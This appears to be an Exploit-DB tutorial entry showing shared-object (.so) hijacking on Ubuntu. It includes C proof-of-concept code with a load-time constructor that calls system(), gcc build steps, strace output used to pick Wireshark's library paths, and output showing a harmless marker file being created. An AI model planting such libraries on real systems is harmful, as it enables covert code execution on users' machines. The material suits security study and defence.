Shared Object (.so) Injection on *nix Systems

EDB-ID:

37606

CVE:

N/A


Platform:

Linux

Published:

2015-07-14

-------------------------------------------------------------------------------
shared object (so) Injection on *nix Systems
http://blog.disects.com
Praveen Darshanam
praveend [dot] hac [at] gmail [dot] com
-------------------------------------------------------------------------------

[Introduction]

We have seen lot of "DLL Injection", "DLL Hijacking" etc. on Windows 
Operating Systems. We will try the same on *nix systems, "shared object 
(so) Injection".

I tried this on Ubuntu 14.04 32-bit.
praveend@praveend-vbox:~$
$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.2 LTS
Release:	14.04
Codename:	trusty

praveend@praveend-vbox:~$
$ getconf LONG_BIT
32

[PoC Code]

praveend@praveend-vbox:~/exploits$
$ cat linux_so_loading.c 
#include<stdio.h>
#include<stdlib.h>

static void nix_so_injection_poc() __attribute__((constructor));

void nix_so_injection_poc() {
    printf("PoC for DLL/so Hijacking in Linux \n");
    /* execute any arbitrary malicious command/code*/
    system("touch ~/praveend.txt && echo \"so injection PoC\" >~/praveend.txt");
}

[Understand PoC Code and build .so]

"__attribute__((constructor))" is a GCC attribute which will be run when a 
shared library is loaded, usually during program startup. Created so file will 
have .ctor section in the linux binary which has references to functions marked 
with constructors.

To build .so file from C code

[Explanation]

$ man gcc
....snip....
-o         outfile
-shared
           Produce a shared object which can then be linked with other objects to form 
	   an executable.  Not all systems support this option.  For predictable 
	   results, you must also specify the same set of options used for compilation 
	   (-fpic, -fPIC, or model suboptions) when you specify this linker option.
-fPIC
           If supported for the target machine, emit position-independent code, suitable 
	   for dynamic linking and avoiding any limit on the size of the global offset table.  
	   This option makes a difference on the m68k, PowerPC and SPARC.
	   Position-independent code requires special support, and therefore works only 
	   on certain machines. When this flag is set, the macros "__pic__" and "__PIC__" 
	   are defined to 2.

praveend@praveend-vbox:~/exploits$
$ gcc -shared -o libsoinjection.so -fPIC linux_so_loading.c
praveend@praveend-vbox:~/exploits$
$ ls -ls libsoinjection.so
8 -rwxrwxr-x 1 praveend praveend 6959 Jul 11 14:34 libsoinjection.so

[Injection: Hands on]

Lets inject libsoinjection.so in wireshark. To do that we need to find so files 
which wireshark is trying to load but unable to find. We will use system call 
tracer (strace) to do the job.

praveend@praveend-vbox:~/exploits$
$ strace wireshark &> wireshark_strace.log

$ vim wireshark_strace.log
....snip....
open("/usr/share/locale-langpack/en_IN/LC_MESSAGES/gtk30-properties.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
open("/usr/share/locale-langpack/en/LC_MESSAGES/gtk30-properties.mo", O_RDONLY) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.la", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/liboverlay-scrollbar.la", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/liboverlay-scrollbar.la", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/modules/liboverlay-scrollbar.so", F_OK) = 0
stat64("/usr/lib/i386-linux-gnu/gtk-3.0/modules/liboverlay-scrollbar.so", {st_mode=S_IFREG|0644, st_size=75972, ...}) = 0
open("/usr/lib/i386-linux-gnu/gtk-3.0/modules/liboverlay-scrollbar.so", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0@:\0\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0644, st_size=75972, ...}) = 0
mmap2(NULL, 78852, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb76dc000
mmap2(0xb76ee000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x11000) = 0xb76ee000
close(3)                                = 0
mprotect(0xb76ee000, 4096, PROT_READ)   = 0
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/i686-pc-linux-gnu/modules/libunity-gtk-module.la", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/3.0.0/modules/libunity-gtk-module.la", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/libunity-gtk-module.so", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/i686-pc-linux-gnu/modules/libunity-gtk-module.la", F_OK) = -1 ENOENT (No such file or directory)
access("/usr/lib/i386-linux-gnu/gtk-3.0/modules/libunity-gtk-module.so", F_OK) = 0
stat64("/usr/lib/i386-linux-gnu/gtk-3.0/modules/libunity-gtk-module.so", {st_mode=S_IFREG|0644, st_size=22184, ...}) = 0
open("/usr/lib/i386-linux-gnu/gtk-3.0/modules/libunity-gtk-module.so", O_RDONLY|O_CLOEXEC) = 3
....snip....

So we can pick any of the so files which are not found by wireshark to load at 
run time from the above list and rename libsoinjection.so to it, say, renaming 
libsoinjection.so to liboverlay-scrollbar.so and copy the the specific path.

Before launching wireshark, lets check if the file is present in users HOME directory
praveend@praveend-vbox:~/exploits$
$ ls -ls ~/praveend.txt
ls: cannot access /home/praveend/praveend.txt: No such file or directory

Launch wireshark and observe code in our shared object (so) file getting executed.
praveend@praveend-vbox:~/exploits$
$ wireshark 
PoC for DLL/so Hijacking in Linux 
Gtk-Message: Failed to load module "overlay-scrollbar"
DLL/.so Hijacking in Linux 
Gtk-Message: Failed to load module "canberra-gtk-module"
praveend@praveend-vbox:~/exploits$

praveend.txt file is sucessfully created.
praveend@praveend-vbox:~/exploits$
$ ls -ls ~/praveend.txt
4 -rw-rw-r-- 1 praveend praveend 17 Jul 11 15:15 /home/praveend/praveend.txt
praveend@praveend-vbox:~/exploits$
$ cat ~/praveend.txt
so injection PoC
praveend@praveend-vbox:~/exploits$

[References]

http://blog.disects.com/search?q=dll+loading
http://tldp.org/HOWTO/Program-Library-HOWTO/dl-libraries.html
http://www.yolinux.com/TUTORIALS/LibraryArchives-StaticAndDynamic.html
http://gcc.gnu.org/onlinedocs/gcc/Function-Attributes.html